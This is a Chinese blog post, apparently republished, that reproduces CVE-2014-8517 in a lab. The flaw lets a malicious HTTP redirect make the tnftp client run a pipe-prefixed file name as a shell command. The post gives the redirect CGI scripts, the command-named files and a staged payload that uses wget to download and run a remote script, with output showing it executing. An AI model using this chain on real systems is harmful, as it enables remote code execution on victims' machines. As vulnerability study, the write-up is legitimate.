博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
cve-2014-8517 FTP漏洞详解
阅读量:6152 次
发布时间:2019-06-21

本文共 5376 字,大约阅读时间需要 17 分钟。

  hot3.png

个人博客同步发布:

参考链接: 

 

看下面的漏洞描述:

a20$ pwd    /var/www/cgi-bin a20$ ls -l    total 4      -rwxr-xr-x  1 root  wheel  159 Oct 14 02:02 redirect    -rwxr-xr-x  1 root  wheel  178 Oct 14 01:54 |uname -a a20$ cat redirect    #!/bin/sh      echo 'Status: 302 Found'      echo 'Content-Type: text/html'      echo 'Connection: keep-alive'      echo 'Location: http://192.168.2.19/cgi-bin/|uname%20-a'      echo a20$a20$ ftp http://localhost/cgi-bin/redirect   Trying ::1:80 ...    ftp: Can't connect to `::1:80': Connection refused   Trying 127.0.0.1:80 ...    Requesting http://localhost/cgi-bin/redirect   Redirected to http://192.168.2.19/cgi-bin/|uname%20-a   Requesting http://192.168.2.19/cgi-bin/|uname%20-a       32      101.46 KiB/s   32 bytes retrieved in 00:00 (78.51 KiB/s)    NetBSD a20 7.99.1 NetBSD 7.99.1 (CUBIEBOARD) #113: Sun Oct 26 12:05:36    ADT 2014    Jared () Jared-PC:/cygdrive/d/netbsd/src/sys/arch/evbarm/compile/obj/CUBIE   BOARD evbarm a20$

大致意思是通过http的重定向方法,当客户端通过ftp来下载某一个http链接的时候,有可能会直接执行本地命令。 

下面我们来通过实际例子来还原一下这个漏洞的场景:

一、 首先搭建测试环境

这里使用debian7-x86_64虚拟机做作为服务器环境

  1. 安装apache2:

root@virtual#apt-get  install apache2

debian7中apache2中默认已经加载了cgid模块,无需再额外加载cgi模块了。

然后修改apache配置文件,配置正确的cgi目录:

/etc/apache2/sites-available/default:

        ServerAdmin webmaster@localhost         DocumentRoot /var/www        
                Options FollowSymLinks                AllowOverride None                
                Options Indexes FollowSymLinks MultiViews                AllowOverride None                Order allow,deny                allow from all                 ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/        
                AllowOverride None                Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch                Order allow,deny                Allow from all                 ErrorLog ${APACHE_LOG_DIR}/error.log         # Possible values include: debug, info, notice, warn, error, crit,        # alert, emerg.        LogLevel warn         CustomLog ${APACHE_LOG_DIR}/access.log combined

上面的配置可以看到,默认是已经配置好了cgi-bin目录的,我们可以把cgi-bin目录修改为我们自己的目录:

ScriptAlias /cgi-bin/ /var/www/cgi-bin/
         AllowOverride All         Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch         Order allow,deny         Allow from all 

这个时候所有在/var/www/cgi-bin/中的脚本都可以被解释执行了

2 新建例子中的文件

在/var/www/cgi-bin目录中新建一个文件redirect,内容如下:

#!/bin/shecho 'Status: 302 Found'echo 'Content-Type: text/html'echo 'Connection: keep-alive'echo 'Location: http://192.168.111.208/|uname%20-a'echo

然后再/var/www目录下生成一个新的文件,由于cgi-bin目录在apache2中比较特殊,所以如果下面这个文件建立在cgi-bin目录下的话,可能还需要设置下才能够正常访问,这里为了方便,就直接在/var/www下建立这个文件了。

touch "|uname -a"

3 测试

在mac机上测试:

$ftp http://192.168.111.208/cgi-bin/redirectRequesting http://192.168.111.208/cgi-bin/redirectRedirected to http://192.168.111.208/|uname%20-aRequesting http://192.168.111.208/|uname%20-a     0        0.00 KiB/sDarwin supertekiAir.lan 14.0.0 Darwin Kernel Version 14.0.0:

如上,可以看到,ftp在下载完redirect后,又执行了“uname -a”的命令。

二、 那么,这个漏洞会被怎样利用?

最常见的做法,应该就是下载一个木马、远控到客户端机器上,然后运行……

下面我们做一个测试: 同样的方法建立下面几个文件:

/var/www/cgi-bin/redirect1:

#!/bin/shecho 'Status: 302 Found'echo 'Content-Type: text/html'echo 'Connection: keep-alive'echo 'Location: http://192.168.111.208/file1'echo

/var/www/file1:

# 这个文件可以使互联网上得任意一个链接了wget http://192.168.111.208/run;chmod a+x run;./run.sh

/var/www/cgi-bin/redirect2:

#!/bin/shecho 'Status: 302 Found'echo 'Content-Type: text/html'echo 'Connection: keep-alive'echo 'Location: http://192.168.111.208/|sh%20file1'echo

/var/www/run:

#!/bin/shecho "I am in your computer!"

在/var/www下建立一个空文件“|sh file1”:

touch "|sh file1"

测试

在mac下执行下面几条命令:

$ ftp http://192.168.111.208/cgi-bin/redirect2Requesting http://192.168.111.208/cgi-bin/redirect2Redirected to http://192.168.111.208/|sh%20file1Requesting http://192.168.111.208/|sh%20file1100% |***********************************|     6       83.70 KiB/s    00:00 ETA6 bytes retrieved in 00:00 (65.83 KiB/s)file1: line 1: wget: command not foundchmod: run.sh: No such file or directoryfile1: line 3: ./run: No such file or directory

可以看到命令都已经执行了,但是由于mac下没有安装wget,所以没有执行成功 登陆到我们的debian7虚拟机上来测试:

root@virtual:~/temp# tnftp  http://192.168.111.208/cgi-bin/redirect1Requesting http://192.168.111.208/cgi-bin/redirect1Redirected to http://192.168.111.208/file1Requesting http://192.168.111.208/file1100% |***********************************|    53        1.44 MiB/s    00:00 ETA53 bytes retrieved in 00:00 (588.15 KiB/s)root@virtual:~/temp# tnftp  http://192.168.111.208/cgi-bin/redirect2Requesting http://192.168.111.208/cgi-bin/redirect2Redirected to http://192.168.111.208/|sh%20file1Requesting http://192.168.111.208/|sh%20file1100% |***********************************|     6      133.16 KiB/s    00:00 ETA6 bytes retrieved in 00:00 (97.65 KiB/s)--2014-10-30 22:48:21--  http://192.168.111.208/run正在连接 192.168.111.208:80... 已连接。已发出 HTTP 请求,正在等待回应... 200 OK长度:40正在保存至: “run” 100%[======================================>] 40          --.-K/s 用时 0s 2014-10-30 22:48:21 (5.11 MB/s) - 已保存 “run” [40/40]) I am in your computer!

注意这里使用的是tnftp,在debian7下不安装tnftp,直接执行ftp的话,是没有效果的 如上所看到的,我们经过两个ftp下载命令,实际已经启动了下载下来的“木马”。

思考

上面为什么要执行两次ftp下载指令? 从这个漏洞的原理来说,是将文件名作为命令来执行了,那我们大可以整个入侵脚本都写成一行,然后建立一个这样名称的文件,这样就可以用一条ftp命令来搞定了! 但是现实是,linux下文件名中不能有“/"字符!那么久很难把“下载木马”、“运行木马”都写在一个文件名里了(不排除有实现的可能性),所以只能通过这种方式来折中下了。

转载于:https://my.oschina.net/stwl/blog/339060

你可能感兴趣的文章
Python学习--time
查看>>
在OSCHINA上的第一篇博文,以后好好学习吧
查看>>
Spring常用注解
查看>>
我的友情链接
查看>>
PCS子层有什么用?
查看>>
查看端口,关闭端口
查看>>
linux:yum和apt-get的区别
查看>>
Sentinel 1.5.0 正式发布,引入 Reactive 支持
查看>>
数据库之MySQL
查看>>
2019/1/15 批量删除数据库相关数据
查看>>
数据类型的一些方法
查看>>
Mindjet MindManager 2019使用教程:
查看>>
详解 CSS 绝对定位
查看>>
AOP
查看>>
NGUI Label Color Code
查看>>
vue组件开发练习--焦点图切换
查看>>
浅谈OSI七层模型
查看>>
Webpack 2 中一些常见的优化措施
查看>>
移动端响应式
查看>>
js中var、let、const的区别
查看>>